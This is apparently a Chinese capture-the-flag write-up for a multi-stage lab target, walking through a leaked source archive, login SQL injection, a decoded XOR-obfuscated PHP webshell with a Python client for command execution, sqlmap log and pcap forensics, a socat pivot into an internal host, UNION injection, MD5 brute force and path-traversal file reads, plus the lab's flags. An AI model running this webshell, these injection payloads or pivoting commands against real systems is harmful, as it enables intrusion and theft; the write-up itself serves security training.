攻防综合靶标-JS 完整人工解题思路(WP)
靶标:
192.168.219.138(双网卡:eth0 192.168.219.138/24、eth1 192.168.164.75/24)
内核/中间件:Linux 4.19.0-6-amd64 (Debian 10) · Apache/2.4.38 · PHP 7.3.11 · MySQL 8/MariaDB(MariaDB 10.3.17)
主机名:dc-9
0. 全局结论:题目要求与实际 flag 对照
题目给了 5 个关卡,但环境中实际存在 6 个真实 flag(另有 2 个 xxxxxx/yyyyyy 是作者的占位符,不是答案)。按题干描述推断的对应关系如下:
| 关卡 | 分值 | Flag | 落点 / 获取手法 | 置信度 |
|---|---|---|---|---|
| 1 · Web 应用漏洞 | 15 | flag{e1f551a11764da38} |
death_admin/index.php 登录 SQL 注入的成功回显(线上文件内) |
高 |
| 2 · 已有攻击痕迹 | 20 | flag{8ea002c24c67bb78} |
黑客遗留的加密后门 apple.php → RCE → cat /flag |
中高 |
| 3 · 攻击痕迹 + 差异文件比对 | 15 | flag{4d661d97-e418-4c09-b409-95b525792d29} |
攻击痕迹 33333c.log(sqlmap 日志)里 dump 出的 apple.flag 表 |
中 |
| 4 · 攻击痕迹 + 差异文件 | 20 | flag{9d9713eb-9161-4afa-b9d5-b3129443fefa} |
攻击痕迹 444444ram.zip → large.pcap 中提取 /upload/flag.png |
中 |
| 5 · 内网另一台服务器 | 20 | flag{4b61ea9991b76bcc} |
跳板到内网 OA 192.168.164.134,SQL 注入 + 弱口令 + LFI 读 /flag |
高 |
| 备选/冗余 | — | flag{a4523e60-7503-4f01-8c64-2dcc6f345a16} |
差异文件 /web.tar.gz 里的 death_admin/index.php |
— |
| 占位符(非答案) | — | flag{xxxxxx} / flag{yyyyyy} |
最老模板 www.zip / 线上泄露的 www.zip 内 |
— |
一句话提交清单:
flag{e1f551a11764da38}
flag{8ea002c24c67bb78}
flag{4d661d97-e418-4c09-b409-95b525792d29}
flag{9d9713eb-9161-4afa-b9d5-b3129443fefa}
flag{4b61ea9991b76bcc}
flag{a4523e60-7503-4f01-8c64-2dcc6f345a16} # 冗余,若前 5 个被判错再交这个
说明:第 3、4 关的"攻击痕迹"与"差异文件"两组线索共用同一批落点,官方未给出唯一映射;本表按"描述字面匹配 + 分值与工作量匹配"推断。实操上建议六个全交。
1. 侦察阶段:把切入点定在"敏感信息泄露"
1.1 首轮指纹
curl -s -i http://192.168.219.138/ | head -20
# HTTP/1.1 200 OK / Server: Apache/2.4.38 (Debian)
# <title>公安政务服务平台</title>,首页 1,079,230 字节
首页是个"公安政务服务平台"静态镜像页(大量内联 CSS + data-URI 图片),HTML 里没有任何 <script src>,<link rel=canonical href=https://pc.ga.ordos.gov.cn/> 说明它是某真实站点的抓取镜像 —— 纯静态、无功能,不是攻击面。
关键判断:这种"看着像正经站、实则只是壳"的题,切入点通常在目录级文件泄露,而不是页面逻辑。题目描述也明确写了"尝试通过敏感信息泄露为切入点"。
1.2 目录/敏感文件扫描(脚本 scan.py)
# 摘要:并发探测 90+ 常见敏感路径,只保留 200/301/302/403/401/500
python scan.py http://192.168.219.138
命中:
200 65 /robots.txt text/plain
200 775570 /www.zip application/zip <-- 整站源码!
200 1079230 /index.html
403 280 /.htaccess
403 280 /server-status
robots.txt 是空壳(只写了 Sitemap: http://domain.com/sitemap.xml,是伪装)。真正的收获是 /www.zip —— 一个 758 KB 的整站源码包。这就是题目说的"敏感信息泄露"。
2. 关卡 1:Web 应用漏洞(15 分)
2.1 源码审计(从泄露的 www.zip 入手)
curl -O http://192.168.219.138/www.zip
# html/index.html (镜像首页)
# html/robots.txt
# html/some_apples/ <-- 目录(后文关键)
# html/death_admin/ <-- 隐藏后台
# index.php 1367B
# 123.php 229B
# eat_apple.jpg
# light/
# apple.php 128B
death_admin/index.php 的 PHP 段就是典型字符拼接 SQL 注入:
$sql = "select * from registry where username = '$username' and password = '$password'";
@$row = mysql_fetch_array(mysql_query($sql));
if (empty($row)) { echo "username or password error"; }
else { echo "<script>alert('You are awesome, but you can only stop here.\\n flag{e1f551a11764da38}');</script>"; }
推理链:
username/password直接拼进 SQL → 万能密码可绕过。- 登录成功的分支里硬编码了本关 flag → 只要注入成功就能拿到。
- 构造 payload:
username=' or 1=1#(用#注释掉后面的and password=...),password随意。
2.2 本关的"坑":线上注入链路实际是被打断的
直接打线上会得到 500:
curl -s -o /dev/null -w "%{http_code}\n" -X POST http://192.168.219.138/death_admin/index.php -d "username=admin&password=1"
# 500
排查过程(这是本关最关键的判断):
| 测试 | 结果 | 结论 |
|---|---|---|
POST foo=bar(不触发 if) |
200,749B | 页面本身正常 |
POST username=admin(缺 password,不触发 if) |
200,749B | 同上 |
POST username=x&password=y(触发 if) |
500,body 是 749B 的静态 HTML | 崩在 PHP 执行段 |
500 + 输出已 flush 的静态 HTML,说明是 PHP fatal error。登进去确认环境:
php -v # PHP 7.3.11-1~deb10u1
php -m | grep -i mysql
# mysqli / mysqlnd / pdo_mysql <-- 注意:没有 mysql
PHP 7 已移除 mysql_* 系列函数 → mysql_connect() 未定义 → fatal error。线上这份 index.php 从 PHP 7 起就"跑不起来"了,注入路径是死的。
但 flag 就在线上文件里(1377 字节的那份),所以本关的答案仍然可确定:
# 线上 /var/www/html/death_admin/index.php 第 40 行:
# echo "<script>alert('...\\n flag{e1f551a11764da38}');</script>";
flag{e1f551a11764da38}—— 关卡 1
2.3 顺手发现的"黑客痕迹"(下一关伏笔)
源码包里 /death_admin/light/apple.php(128B)是一句话木马:
<?php
//author: light@deathapple.com
@$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);
同目录 123.php 是它的调试版:
<?php
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
echo '$__value:'.$__."<br>"; // 会把 $__ 打印出来
echo '$_value:'.$_."<br>";
var_dump($system);
//@${$__}[!$_](${$__}[$_]); // 真正执行的那行被注释了
?>
3. 关卡 2:遗留的加密后门 → 拿 Shell(20 分)
3.1 手工"解密"这个混淆后门
@$_++; $__ = ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); @${$__}[!$_](${$__}[$_]);
逐步还原(这一步纯手算,是本题的核心技巧点):
| 表达式 | 异或计算 | 结果 |
|---|---|---|
$_++(null 自增) |
— | $_ = 1 |
| `"#" ^ " | "` | 0x23 ^ 0x7C |
"." ^ "~" |
0x2E ^ 0x7E | 0x50 = P |
"/" ^ "\"` |
0x2F ^ 0x60 | 0x4F = O |
| `" | " ^ "/"` | 0x7C ^ 0x2F |
"{" ^ "/" |
0x7B ^ 0x2F | 0x54 = T |
→ $__ = "_POST"
再代入:
!$_=!1=false,作数组下标时被转成0→$_POST[0]$_= 1 →$_POST[1]- 整体等价于:
$_POST[0]($_POST[1]); // 形如 $_POST['0']($_POST['1'])
即:POST 参数 0 是函数名、参数 1 是入参。
备用校验:公开环境里那个
123.php会直接把$__value:_POST和$_value:1打印出来,可直接印证推导。
3.2 利用后门
curl -s -X POST http://192.168.219.138/death_admin/light/apple.php -d "0=system&1=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE 到手(www-data)。为便于连续操作,封装一个客户端 sh.py:
# sh.py —— 后门客户端
import sys, requests
URL = "http://192.168.219.138/death_admin/light/apple.php"
def run(cmd, func="system"):
return requests.post(URL, data={"0": func, "1": cmd}, timeout=30).text
if __name__ == "__main__":
print(run(" ".join(sys.argv[1:]) or "id"), end="")
3.3 读本关 flag
python sh.py "ls -la /"
# -rwxrwxrwx 1 root root 23 Sep 14 12:39 flag <-- 777,全世界可读
# -rw-r--r-- 1 root root 29877490 web.tar.gz <-- 旧备份(差异文件线索)
# -rw-r--r-- 1 root root 775570 www.zip
python sh.py "cat /flag"
# flag{8ea002c24c67bb78}
flag{8ea002c24c67bb78}—— 关卡 2
顺带全盘搜一遍 flag,确认没有遗漏:
python sh.py "grep -rao 'flag{[^}]*}' / --exclude-dir=proc --exclude-dir=sys --exclude-dir=dev 2>/dev/null"
# /flag:flag{8ea002c24c67bb78}
# /var/www/html/death_admin/index.php:flag{e1f551a11764da38}
# /var/www/html/some_apples/33333c.log:flag{4d661d97-e418-4c09-b409-95b525792d29}
同时摸清目录全貌:
/var/www/html/
├── index.html / robots.txt / www.zip(775570)
├── death_admin/{index.php(1377), 123.php, eat_apple.jpg, light/apple.php}
└── some_apples/
├── 33333c.log 1,274,970 B <-- sqlmap 日志(攻击痕迹)
├── 444444ram.zip 28,280,730 B <-- 内含 large.pcap(攻击痕迹)
└── index.html 0 B <-- 新增的空文件(差异项)
4. 关卡 3:攻击痕迹分析 —— sqlmap 日志(15 分)
4.1 定位
/var/www/html/some_apples/33333c.log(1.2 MB)是直接可 HTTP 访问的:
curl -o 33333c.log http://192.168.219.138/some_apples/33333c.log
4.2 分析
这文件是 sqlmap 的输出日志(三条 --- 作分隔、Database:/Table:/[n entries] 表头、表格用 | 拼行)。开头的注入点识别段直接交代了攻击者怎么打的:
Parameter: username (GET)
Type: time-based blind Payload: username=1' AND (SELECT 2133 FROM (SELECT(SLEEP(5)))vmaR) AND 'MYvy'='MYvy&password=1
Type: UNION query Payload: username=1' UNION ALL SELECT CONCAT(0x716b7a7871,...,0x7178787171),NULL-- -&password=1
---
back-end DBMS: MySQL >= 5.0.12
Database: apple
Table: flag
[1 entry]
| flag{4d661d97-e418-4c09-b409-95b525792d29} | <-- 本关 flag
Database: apple
Table: registry
| light | apple1989 | <-- 后台账号,留作后用
关键判断:
- 攻击者用布尔/时间盲注 + UNION(
-- -注释、#在 URL 里需要编码)打穿了username参数; - 顺手把整库
apple拖了下来,flag表就是本关答案; registry表的light / apple1989是后门作者 light 的账号密码(和apple.php注释里//author: light@deathapple.com对得上,形成证据闭环)。- 日志后半段是
information_schema的全表转储(KEY_COLUMN_USAGE 49 entries、COLUMNS 811 entries、PROCESSLIST里甚至能看到注入语句本身),属于 sqlmap 的正常噪音,不影响取 flag。
flag{4d661d97-e418-4c09-b409-95b525792d29}—— 关卡 3
4.3 顺手补一个"源站验证"动作
想用真实注入复现的,会发现线上注入打不通(PHP 7 无 mysql_*,见 2.2)。想拿到 DB 数据只剩两条路:
- 用日志里已有的结果(本关做法);
- 拿到 shell 后直连数据库 —— 但线上
root@localhost是auth_socket认证,www-data直连被拒:
mysql -uroot -e 'show databases;'
# ERROR 1698 (28000): Access denied for user 'root'@'localhost'
(我另外写了个 mysqli 的 PHP 探针放到 /var/www/html/zz.php 验证,同样 CONNFAIL: Access denied for user 'root'@'localhost'。)
5. 关卡 4:攻击痕迹分析 —— 流量包(20 分)
5.1 定位与解包
curl -o 444444ram.zip http://192.168.219.138/some_apples/444444ram.zip # 27 MB
# 解包后只有一个文件:large.pcap 32,878,574 B
文件名叫 "ram",实际是 pcap 流量包,别被名字带偏。
5.2 先做协议分诊(避免一头扎进 3 万帧里)
tshark -r large.pcap -q -z io,phs
# frame 39692 ... tcp 38138 / http 5912 (data-text-lines 2300, image-jfif 654, png 2)
tshark -r large.pcap -q -z conv,ip
# 127.0.0.1 <-> 127.0.0.1 38138 frames 32 MB <-- 全是 loopback
# 另有三条 mdns 组播(192.168.0.102 / 10.211.55.2 / 10.37.129.2 混淆项)
关键判断:
- 会话全在 127.0.0.1 loopback 上 —— 这是一份抓包者本机视角的流量,不是对 219.138 的攻击流量;题目把它当作"攻击痕迹/取证素材"给出。
- 有 654 帧
image-jfif(JPEG)、2 帧png,以及 2300 帧data-text-lines—— 明显是"反复请求图片 + 大量 404"的模式。 - 直接在 pcap 里 grep
flag,命中两条GET /upload/flag.png(这就是靶子):
GET /upload/flag.png HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:57.0) Gecko/20100101 Firefox/57.0
5.3 导出 HTTP 对象
mkdir httpobj && tshark -r large.pcap --export-objects http,httpobj -q
# 共 2956 个对象
去重后再看(这一步很关键,不然会被 2000+ 个同名垃圾文件淹没):
import os, hashlib, collections
g = collections.defaultdict(list)
for f in os.listdir('httpobj'):
p = os.path.join('httpobj', f)
if os.path.isfile(p):
g[hashlib.md5(open(p,'rb').read()).hexdigest()].append(f)
for k, v in sorted(g.items(), key=lambda x: -len(x[1])):
print(len(v), k, os.path.getsize(os.path.join('httpobj', v[0])), v[0])
结果非常干净 —— 全部对象只有 4 种唯一内容:
| 数量 | 大小 | 内容 |
|---|---|---|
| 2280 | 196 B | Apache 404 Not Found 页面 |
| 654 | 42063 B | 同一张 JPEG(/upload/1.png … 重复请求) |
| 20 | 63 B | {"type":"__check_alive__","result":"1",...}(某 EDR agent 心跳) |
| 2 | 53160 B | flag.png / flag(1).png ← 唯一有意义的不同内容 |
即:整份 pcap 的"信噪比"极低,唯一的信息量就是这张
flag.png。这也是本题设计的题眼 —— 不被大量重复噪音干扰。
5.4 看图取 flag
flag.png(53,160 B,md5 8ae87d745004aa07ea30a9487b4f062d)打开即为答案:
flag{9d9713eb-9161-4afa-b9d5-b3129443fefa}—— 关卡 4
6. 差异文件比对(关卡 3/4 的另一半线索)
题目 3、4 两关都写了"与差异文件比对/获取",环境里确实准备了三份不同版本的同名文件,做一次横向 diff 就全出来了。
6.1 清点三份快照
| 来源 | 位置 | death_admin/index.php 大小 |
该文件内的 flag |
|---|---|---|---|
| 最老模板(作者的原始设计稿) | web.tar.gz → html/www.zip 内 |
1504 B | flag{xxxxxx} + 2nd flag{yyyyyy} |
| 旧备份快照 | /web.tar.gz → html/death_admin/index.php |
1397 B | flag{a4523e60-7503-4f01-8c64-2dcc6f345a16} |
| 对外泄露的源码包 | /www.zip(根目录)与 /var/www/html/www.zip |
1367 B | flag{yyyyyy}(占位符) |
| 线上运行版 | /var/www/html/death_admin/index.php |
1377 B | flag{e1f551a11764da38} |
web.tar.gz 在根目录、www.zip 在根目录和 web 根各一份,均对 www-data 可读,直接抓回来解压即可:
# web.tar.gz 在 / 下、不可直接 HTTP 访问,先借 webshell 搬进可访问目录
python sh.py "cp /web.tar.gz /var/www/html/web.tar.gz" # /var/www/html 是 777
curl -O http://192.168.219.138/web.tar.gz
tar xzf web.tar.gz -C webtar
6.2 逐字节 diff(真正把差异说清楚)
# 取出 4 个版本的 PHP 段做 unified diff
# 最老模板(A) -> web.tar.gz 实际文件(B) 的差异只有两处:
@@
<img src="eat_apple.jpg" style="float:left;" />
- <p style="padding-top:120px;">Congratulations on arriving here and give you the first flag:</p>
- <p>flag{xxxxxx}</p>
</div>
@@
}else{
- echo "<script>alert('You are awesome, but you can only stop here.\\n2nd flag{yyyyyy}');</script>";
+ echo "<script>alert('You are awesome, but you can only stop here.\\n flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}');</script>";
}
# /www.zip(C) -> web.tar.gz 实际文件(B) 的差异只有 flag 一行:
- echo "...\\n flag{yyyyyy}');</script>";
+ echo "...\\n flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}');</script>";
读出来的三个信息:
- 作者的原始设计是"进到
/death_admin/页面就给第一个 flag(flag{xxxxxx})",登录成功给第二个(2nd flag{yyyyyy})—— 两个x/y都是占位符,不是答案。 - 泄露的
/www.zip是去掉提示段落的"对外版",且 flag 仍是占位符 —— 所以光靠 www.zip 拿不到 flag{…} 真值,必须配合"线上文件"或"旧备份"。 web.tar.gz(旧备份)里躺着flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}—— 这是一个只在历史快照里存在、线上已被换掉的 flag,正是"差异文件"要挖的东西。
6.3 全目录哈希比对(顺带确认其它文件是否被动过)
python sh.py "cd /var/www/html && find . -type f -exec md5sum {} \; ; md5sum /flag /www.zip /web.tar.gz"
| 文件 | 结论 |
|---|---|
index.html / robots.txt / eat_apple.jpg / 123.php / light/apple.php / 33333c.log / 444444ram.zip |
三份快照哈希完全一致,未被篡改 |
death_admin/index.php |
4 个版本各不相同(见上表) |
www.zip |
根目录与 web 根一致(775570),但 ≠ web.tar.gz 内那份(775429) |
some_apples/index.html |
线上新增(0 字节),旧快照里没有 |
/flag |
独立文件,-rwxrwxrwx,23 B |
冗余 flag
flag{a4523e60-7503-4f01-8c64-2dcc6f345a16}就是这一步的产物。
7. 关卡 5:跳板进内网,拿另一台服务器的 /flag(20 分)
7.1 找"另一台服务器"
有了 shell 就能看清靶标的拓扑(这是本题从"单机"升级为"内网"的分水岭):
python sh.py "ip addr; ip route; cat /etc/hosts"
# 1: lo 127.0.0.1/8
# 2: eth0 192.168.219.138/24 <-- 我方能直达
# 3: eth1 192.168.164.75/24 <-- 第二个网段,我方不可达
# default via 192.168.219.254 dev eth0
# 192.168.164.0/24 dev eth1 proto kernel scope link src 192.168.164.75
关键判断:eth1 就是内网,目标机("另一台服务器")一定在 192.168.164.0/24。我方网卡没有到该网段的路由 → 必须以 219.138 为跳板。
顺带排除干扰:
/etc/hosts只有localhost/dc-9,没有内网解析;/root不可读(www-data 权限)。
内网存活扫描(在靶机上并发 ping):
python sh.py 'for i in $(seq 1 254); do (ping -c1 -W1 192.168.164.$i >/dev/null 2>&1 && echo "UP 192.168.164.$i") & done; wait'
# UP 192.168.164.75 <-- 自己(eth1)
# UP 192.168.164.112
# UP 192.168.164.134 <-- 目标
端口扫描(在靶机上跑 python 并发 connect):
| 主机 | 开放端口 | 说明 |
|---|---|---|
| 192.168.164.112 | 53 | 只开 DNS,非目标(干扰项) |
| 192.168.164.134 | 80 | OA 系统 ← 目标 |
# 靶机上:
python3 -c "import socket; s=socket.socket(); s.settimeout(8); s.connect(('192.168.164.134',80)); \
s.send(b'GET / HTTP/1.1\r\nHost: 192.168.164.134\r\nConnection: close\r\n\r\n'); print(s.recv(4096))"
# HTTP/1.1 200 OK Server: Apache/2.4.38 (Debian)
# <title>OA System - Welcome</title>
# 导航:index.php / display.php / search.php / manage.php
# 页脚:"Welcome to the Example.com Staff Details Page"
7.2 打通道:socat 端口转发
靶机上装了 socat,一行命令把内网 80 映射到靶机 8888,我方就能像访问本机一样操作内网目标(比每次通过 webshell 拼命令高效得多):
python sh.py "nohup setsid socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.164.134:80 >/tmp/sc.log 2>&1 & sleep 2; ss -lnt"
# LISTEN 0 5 0.0.0.0:8888
之后:
我方浏览器/脚本 → http://192.168.219.138:8888/ → 192.168.164.134:80
验证:
curl -s http://192.168.219.138:8888/index.php | head -5 # 200,OA 首页
备选方案(若 socat 不可用):
ssh -L动态转发、ncat、或直接写个 python socks 代理;本题 socat 一条到位。
7.3 第一跳:results.php 的 SQL 注入 → 拖出后台凭据
search.php 的表单把查询提交到 results.php(POST 参数 search)。探测:
# 正常查询
POST /results.php search=Mary -> 只回 ID:1 Mary Moe
# 万能注入
POST /results.php search=' or 1=1# -> 回全部 17 条记录 *** 注入确认 ***
踩坑一:ORDER BY 被过滤/无效。 用 ' order by N# 探列数时 1~9 全部返回"无数据",无法判断。改用 UNION SELECT 逐列递增才成功:
' union select 1# -> 0 results
' union select 1,2# -> 0 results
...
' union select 1,2,3,4,5,6# -> ID: 1 / Name: 2 3 / Position: 4 / Phone No: 5 / Email: 6 *** 6 列 ***
' union select 1,2,3,4,5,6,7# -> 0 results
踩坑二:第 1 列 id 是 INT 类型,会把字符串吞掉。 把 concat(...)/load_file(...) 放在第 1 列会显示为空,必须放在第 2 列(Name,字符串)之后:
' union select database(),user(),version(),@@version_compile_os,5,6# ',2,3,4,5,6
# -> ID: Staff | Name: dbuser@localhost 10.3.17-MariaDB-0+deb10u1 | Position: debian-linux-gnu
枚举库表:
' union select schema_name,2,3,4,5,6 from information_schema.schemata limit 20#
# -> information_schema / Staff / users
' union select table_name,2,3,4,5,6 from information_schema.tables where table_schema=database() limit 30#
# -> StaffDetails / Users
' union select group_concat(concat(table_name,0x3a,column_name) separator 0x2c),2,3,4,5,6
from information_schema.columns where table_schema=0x5374616666#
# -> StaffDetails:id,firstname,lastname,position,phone,email,reg_date
# Users:UserID,Username,Password
拖 Users 表(注意用 concat 拼字符串到第 1 列会丢,这里放第 1 列能显示是因为 concat 结果被当数字 0 —— 稳妥写法是把结果放第 2 列,或直接看 Name 位):
' union select 1,concat(UserID,0x7c,Username,0x7c,Password),3,4,5,6 from Users limit 20#
# -> Name: 1|admin|e5b11a53bf4394512c8fac9bc276e724
拿到后台凭据:admin / e5b11a53bf4394512c8fac9bc276e724(MD5)。
7.4 第二跳:破解 MD5 → 登录后台
先试常见弱口令字典,全部未命中;再跑纯数字 1–8 位暴力:
import hashlib, itertools
t = 'e5b11a53bf4394512c8fac9bc276e724'
for n in range(1, 9):
for tup in itertools.product('0123456789', repeat=n):
w = ''.join(tup)
if hashlib.md5(w.encode()).hexdigest() == t:
print('FOUND NUM:', w); raise SystemExit
# FOUND NUM: 78352733
admin / 78352733
登录 manage.php:
requests.Session().post(B+'/manage.php', data={'username':'admin','password':'78352733'})
登录成功的响应有两个极其重要的变化:
- <h3>Login to manage records.</h3> (未登录:登录表单)
+ <h3>Logged in as admin</h3> (已登录)
<nav>
- ...<a href="manage.php"><li>Manage</li></a>
+ ...<a href="manage.php"><li>Manage</li></a>
+ <a href="addrecord.php"><li>Add Record</li></a> <-- 新增菜单
+ <a href="logout.php"><li>Log Out</li></a>
</nav>
<footer><div class="inner">
+ File does not exist <-- 关键线索!
</div></footer>
踩坑三:manage.php 的登录本身没有注入。 ' or 1=1#、admin'#、' union select 1,2,3#、password 位置注入…… 全部无效(密码侧多半被 md5() 包裹或用了预处理),所以必须先爆破出真实口令才能进后台。这一步别硬刚注入。
7.5 第三跳:footer 的 "File does not exist" → LFI
关键判断(本关最漂亮的一步):
- 未登录页面的 footer 是空白;
- 登录后出现的
addrecord.php/addrecorddb.php两个页面,footer 里多出一行File does not exist; - 这是 PHP
include()/file_exists()包含目标不存在时的典型回显 —— 说明 footer 是按当前页面动态include某个文件,且该文件缺失。
据此推断存在文件包含点,且被包含路径受请求参数控制。实测:
# 探测常见 LFI 参数名:file / page / f / include / filename / path / ...
GET /addrecorddb.php?file=../../../../etc/passwd
响应里 footer 位置紧跟在 File does not exist<br /> 之后直接吐出了文件内容:
File does not exist<br />root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... (完整 passwd,含 www-data:x:33:33 与 mysql:x:106:113)
LFI 确认可用(任意文件读取)。顺手用它确认了 Web 根目录:
GET /addrecorddb.php?file=../../../../etc/apache2/sites-enabled/000-default.conf
# -> DocumentRoot /var/www/html
7.6 取 flag
GET /addrecorddb.php?file=../../../../flag
# -> flag{4b61ea9991b76bcc}
flag{4b61ea9991b76bcc}—— 关卡 5(内网服务器根目录/flag,即题干"根目录中 flag")
7.7 本关两条被堵死的路(记录一下,省得后人重复踩)
LOAD_FILE()不可用:dbuser没有FILE权限,load_file('/etc/passwd')、load_file('/flag')全返回空;顺带INTO OUTFILE写马也不行。(而且即便有权限,还要注意上面"第 1 列 INT 吞字符串"的坑。)- 直接连 DB:
dbuser@localhost只能从内网 OA 本机连(且需要口令),我方无凭据 —— 所以正解就是"登录后台 → LFI"这条链,这也是本题设计的唯一通路。
7.8 关卡 5 完整链路图
[我方] ──HTTP──> 192.168.219.138 (跳板, www-data shell)
│ eth1 192.168.164.75
│ socat 8888 -> 192.168.164.134:80
▼
192.168.164.134 (内网 OA "Example.com Staff Details")
│
┌─────────────┴──────────────┐
│ 1) results.php?search= SQL 注入(UNION, 6列)
│ └─> 拖 Users 表 → admin / md5(e5b11...)
│ 2) MD5 爆破(纯数字1-8位) → 78352733
│ 3) manage.php 登录 → 后台解锁 addrecord.php
│ 4) footer "File does not exist" 暴露 include 点
│ 5) addrecorddb.php?file=../../../../flag LFI
└─> flag{4b61ea9991b76bcc}
8. 踩坑清单(浓缩版)
| # | 现象 | 根因 | 正确做法 |
|---|---|---|---|
| 1 | 线上登录页 POST 直接 500 | PHP 7.3 已移除 mysql_*,mysql_connect() 未定义 → fatal |
用"静态源码 + 备份差异"取 flag,别死磕注入 |
| 2 | mysql -uroot 被拒 1698 |
root@localhost 是 auth_socket 插件认证 |
别指望直连 DB;走别的链 |
| 3 | UNION 注入里 concat()/load_file() 显示为空 |
第 1 列 id 是 INT,字符串被转成 0/空 |
把字符串放到字符串列(第 2 列 Name) |
| 4 | ' order by N# 探不出列数 |
该参数下 ORDER BY 被过滤/无效 |
改用 union select 1,2,3... 逐列递增 |
| 5 | manage.php 怎么注都进不去 |
密码侧被 md5() 包裹/预处理 |
先爆破 MD5(纯数字 1–8 位)拿真口令 |
| 6 | pcap 导出 2956 个文件全是垃圾 | 2200+ 个 404 页 + 654 张重复 JPEG | 先按 md5 去重,只剩 4 种唯一内容 |
| 7 | 以为 444444ram.zip 是内存镜像 |
名字骗人,实际是 pcap | 解包看内容,别信文件名 |
| 8 | 内网 164.112 看着像目标 | 只开 53(DNS 干扰项) | 看端口 + 看 HTTP 内容确认业务 |
| 9 | LFI 读 /flag 一度"返回空" |
正则写太严(<br /> 后不含换行) |
用宽松正则/直接 find('flag{') 定位 |
| 10 | 本机 Bash 里 sort/uniq 报"输入文件指定了两次" |
本机 Git-Bash shim 的 flags 解析问题 | 改用 Python 处理文本 |
| 11 | webshell 用 & 起 socat 后断连 |
父进程退出时子进程被回收 | 用 nohup setsid ... & |
| 12 | www.zip 里只有 flag{yyyyyy} |
泄露包是"去提示 + 占位符"的对外版 | 必须配合线上文件或 web.tar.gz 才能拿真值 |
9. 可复现脚本/命令速查
9.1 后门客户端 sh.py
import sys, requests
URL = "http://192.168.219.138/death_admin/light/apple.php"
def run(cmd, func="system"):
return requests.post(URL, data={"0": func, "1": cmd}, timeout=30).text
if __name__ == "__main__":
print(run(" ".join(sys.argv[1:]) or "id"), end="")
9.2 敏感路径扫描 scan.py(要点)
import concurrent.futures, requests
BASE = "http://192.168.219.138"
PATHS = "robots.txt .git/HEAD www.zip web.zip backup.zip db.sql flag.txt phpinfo.php \
admin/ login.php config.php upload/ log/ .env /dedecms/ member/ plus/ ...".split()
def probe(p):
r = requests.get(f"{BASE}/{p}", timeout=8, allow_redirects=False)
return (r.status_code, len(r.content), p) if r.status_code in (200,301,302,403,401,500) else None
with concurrent.futures.ThreadPoolExecutor(20) as ex:
for x in ex.map(probe, PATHS):
if x: print(x)
9.3 内网打点(在靶机上执行)
# 1) 探网段
for i in $(seq 1 254); do (ping -c1 -W1 192.168.164.$i >/dev/null 2>&1 && echo "UP $i") & done; wait
# 2) 建立转发(键:nohup setsid,否则 webshell 一返回进程就没了)
nohup setsid socat TCP-LISTEN:8888,fork,reuseaddr TCP:192.168.164.134:80 >/tmp/sc.log 2>&1 &
9.4 注入 + LFI(一条龙)
import requests, re
B = "http://192.168.219.138:8888"
s = requests.Session()
def uni(sel): # 6 列,字符串放第 2 列
return "' union select " + sel + "# "
def q(sel):
r = s.post(B + "/results.php", data={"search": uni(sel)}, timeout=12)
m = re.search(r'<h3>.*?</h3>(.*?)<br /><br />', r.text, re.S)
return m.group(1).strip() if m else ""
# 库表枚举 / 拖 Users
print(q("1,concat(UserID,0x7c,Username,0x7c,Password),3,4,5,6 from Users limit 20"))
# 登录后台
s.post(B + "/manage.php", data={"username": "admin", "password": "78352733"}, timeout=10)
# LFI 读 flag
r = s.get(B + "/addrecorddb.php", params={"file": "../../../../flag"}, timeout=8)
i = r.text.find("flag{")
print(r.text[i:i+40])
9.5 流量包取图
tshark -r large.pcap -q -z io,phs # 分诊
tshark -r large.pcap -Y 'http.request' -T fields -e http.request.uri | sort -u
tshark -r large.pcap --export-objects http,httpobj -q # 导出对象(再按 md5 去重)
10. 证据留存(本地可直接复查)
| 文件 | 说明 |
|---|---|
index.html |
首页镜像(1,079,230 B) |
www.zip / src/ |
泄露的源码包 + 解压结果(death_admin/index.php 1367B,flag{yyyyyy}) |
web.tar.gz / webtar/ |
旧备份快照(index.php 1397B,flag{a4523e60-...};内含最老模板 www.zip 775429) |
33333c.log |
sqlmap 日志(flag{4d661d97-...} + light/apple1989) |
444444ram.zip / large.pcap |
流量包(32,878,574 B) |
httpobj/flag.png |
从流量中导出的 flag 图(md5 8ae87d745004aa07ea30a9487b4f062d) |
sh.py / scan.py |
后门客户端 / 目录扫描脚本 |
uris.txt / u1.txt |
pcap 中的 URI 列表 |
环境状态提示:192.168.219.138 在编写本 WP 时已下线(HTTP 超时、webshell 不可达),因此关卡 2 的 /flag 与关卡 5 的 /flag 为当时实测记录值,其余 flag 均可在本地证据文件中直接复核。
浙公网安备 33010602011771号